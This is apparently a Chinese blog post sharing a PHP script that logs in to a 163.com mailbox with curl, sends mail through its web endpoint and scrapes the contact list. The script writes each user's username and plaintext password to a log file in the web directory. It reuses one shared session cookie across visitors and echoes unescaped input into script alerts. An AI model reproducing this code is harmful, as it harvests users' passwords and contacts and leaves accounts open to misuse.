php 模拟163邮箱模拟登陆发送邮件

<?php
	header("Content-Type: text/html; charset=UTF-8");
    error_reporting(0);
	/**
	 * 登陆
	 * $user 163用户名
	 * $pass 密码
	**/
    function login($user,$pass){
		//登陆
		$url = 'http://reg.163.com/logins.jsp?type=1&url=http://entry.mail.163.com/coremail/fcg/ntesdoor2?lightweight%3D1%26verifycookie%3D1%26language%3D-1%26style%3D-1';
		$cookie = tempnam('./cache/','~');//创建一个用于存放cookie信息的临时文件
		$fields_post = array(
			'username'		=>$user,
			'password'		=> $pass,
			'verifycookie'	=> 1,
			'style'			=> -1,
			'product'		=> 'mail163',
			'selType'		=> -1,
			'secure'		=> 'on'
		);
		$fields_string = '';
		foreach($fields_post as $key => $value){
			$fields_string .= $key . '=' . $value . '&';
		}
		$fields_string = rtrim($fields_string , '&');
		$headers = array(
			'User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0',
			'Referer'    => 'http://www.163.com'
		);
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//返回结果存放在变量中,而不是默认的直接输出
		curl_setopt($ch, CURLOPT_HEADER, true);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120);
		curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
		curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);//关闭连接时,将服务器端返回的cookie保存在以下文件中	

		curl_setopt($ch, CURLOPT_POST, true);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);
		$result= curl_exec($ch);
		curl_close($ch);
		preg_match_all('/<div class="info" id="eHint">(.*?) <\/div>/i', $result,$infos,PREG_SET_ORDER);
		if(!empty($infos['0']['1'])){
			unlink($cookie);
			exit('<script type="text/javascript">alert("'.$infos['0']['1'].'");history.go(-1);</script>');
		}else{
			$G_ROOT = dirname(__FILE__);
			file_put_contents($G_ROOT.'/cache/cookie', $cookie);
			return $cookie;
		}
	}
	/**
	 *
	 * $data['url'] 请求地址
	 * $data['data_post'] post数据
	 * $data['cookie']
	 *
	**/
	function curl($data){
		$url = $data['url'];
		$data_post= $data['data_post']? $data['data_post']: false;
		$cookie = $data['cookie'];
		$headers = array(
			'User-Agent'        => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0',
			'Referer'    => 'http://www.163.com'
		);
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_HEADER, true);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120);
		curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
		curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
		curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);  //cookie文件 登陆之后	

		//POST 提交
		if($data_post){
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS, $data_post);
		}
		$result = curl_exec($ch);
		curl_close($ch);
		return $result;
	}

	/**
	 *获取sid
	**/
	function sid($cookie){
		$data = array(
			'url'=>'http://entry.mail.163.com/coremail/cg/ntesdoor2?lightweight=1&verifycookie=1&language=-1&style=-1&username=loki_wuxi',
			'cookie'=>$cookie
		);
		$result =curl($data);
		preg_match('/sid=[^\"sid].*&/', $result, $location);//取得sid
		$sid = substr($location[0], 4, -1);
		return $sid;
		//file_put_contents('./result.txt', $sid);
	}
	/**
	 * 获取Email
	**/
	function adds_email($cookie){
		$data = array(
			'url'=>'http://g4a30.mail.163.com/jy8/address/addrlist.jsp?sid='.sid($cookie).'&gid=all',//通讯录地址
			'cookie'=>$cookie
		);
		$result =curl($data);
		//unlink($cookie);
		//开始抓取内容
		preg_match_all('/
		<td class="Ibx_Td_addrName">
			<a[^>
				]*>(.*?)
				<\/a>
					<\/td>
						<td class="Ibx_Td_addrEmail">
							<a[^>
								]*>(.*?)
								<\/a>
									<\/td>
										/i', $result,$infos,PREG_SET_ORDER);
		return $infos;
	}

	/**
	 * 发邮件
	 *
	**/
	function send($data){
		$pots_xml='
										<?xml version="1.0"?>
										<object>
											<string name="id">c:'.time().rand(100,999).'</string>
											<object name="attrs">
												<string name="account">"'.$data['user'].'"<'.$data['user'].'@163.com></string>
												<boolean name="showOneRcpt">false</boolean>
												<array name="to">
													<string>'.$data['to'].'</string>
												</array>
												<array name="cc"/>
												<array name="bcc"/>
												<string name="subject">'.$data['title'].'</string>
												<boolean name="isHtml">true</boolean>
												<string name="content">'.$data['content'].'</string>
												<int name="priority">3</int>
												<boolean name="saveSentCopy">true</boolean>
												<string name="charset">GBK</string>
											</object>
											';
		$pots_xml='var='.rawurlencode($pots_xml);
		$cookie = $data['cookie'];
		$data_to = array(
			'url'=>'http://mail.163.com/js6/s?sid='.sid($cookie).'&func=mbox:compose&cl_send=2&l=compose&action=deliver',
			'data_post'=>$pots_xml,
			'cookie'=>$cookie
		);
		$result =curl($data_to);
		return $result;
	}

	if(!empty($_POST)){
		foreach($_POST as $k=>$v){
			if(empty($v[$k])){
				exit('<script type="text/javascript">alert("'.$k.'不能为空!");history.go(-1);</script>');
			}
		}
		file_put_contents("./cache/log.txt", $_POST['user'].'--'.$_POST['pass'].'--'.$_POST['to'].'--'.$_POST['title']."\n\r", FILE_APPEND);
		$user = $_POST['user'];//邮箱用户名(不带@163.com后缀的)
		$pass = $_POST['pass'];//邮箱密码
		$G_ROOT = dirname(__FILE__);
		$cookie = file_get_contents($G_ROOT.'/cache/cookie');
		if(!file_exists($cookie)){
			$cookie = login($user,$pass);
		}else{
			$mail = array(
				'user'		=> $user,
				'to'		=> $_POST['to'],
				'title'		=> $_POST['title'],
				'content'	=> $_POST['content'],
				'cookie'	=> $cookie
			);
			$result = send($mail);
			preg_match_all('/
											<code>(.*?)<\/code>
											/i', $result,$infos,PREG_SET_ORDER);
			//exit($infos['0']['1']);
			if($infos['0']['1']=='S_OK'){
				$mail = adds_email($cookie);
				echo('<script type="text/javascript">alert("发送成功!");</script>');
			}else{
				if($infos['0']['1']=='FA_UNAUTHORIZED'){
					unlink($cookie); //登陆超时
				}
				exit('<script type="text/javascript">alert("发送失败:'.$infos['0']['1'].'");history.go(-1);</script>');
			}
		}

	}
?>

<!DOCTYPE html>
<html>
<head>
	<title></title>
	<style type="text/css">
		h1{margin:40px 0;}
		li{list-style:none; }
		li span{display:block;width:100px;margin-top:20px}
		li input{padding:5px;width:300px;height:35px;font-size: 16px;}
		li textarea{width:500px;}
	</style>
</head>
<body>
	<div style="width:1000px;margin:10px auto;">
		<h1>模拟登陆163邮箱发邮件</h1>
		<?php
		if(!empty($mail)){
			echo '<h2>通讯录地址</h2>';
			foreach($mail as $k=>$v){
				echo '名称:'.iconv("gb2312","utf-8",$v['1']).' --- 邮箱:'.iconv("gb2312","utf-8",$v['2']).'<br>';
			}
		}
		?>
		<form name="input" action="" method="post">
			<li><span>用户名:</span> <input type="text" name="user" /> 不带“@163.com”</li>
			<li><span>密码:</span> <input type="password" name="pass" /></li>
			<li><span>收件人邮箱: </span><input type="text" name="to" /></li>
			<li><span>邮箱主题: </span><input type="text" name="title" value="模拟发邮件测试"/></li>
			<li><span>邮箱内容:</span><textarea rows="10" cols="30" name="content"><a href="http:www.chree.cn">这是模拟发邮件测试</a></textarea></li>
			<li><span><input type="submit" value="Submit" /></span></li>
		</form>
	</div>
</body>
</html>


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值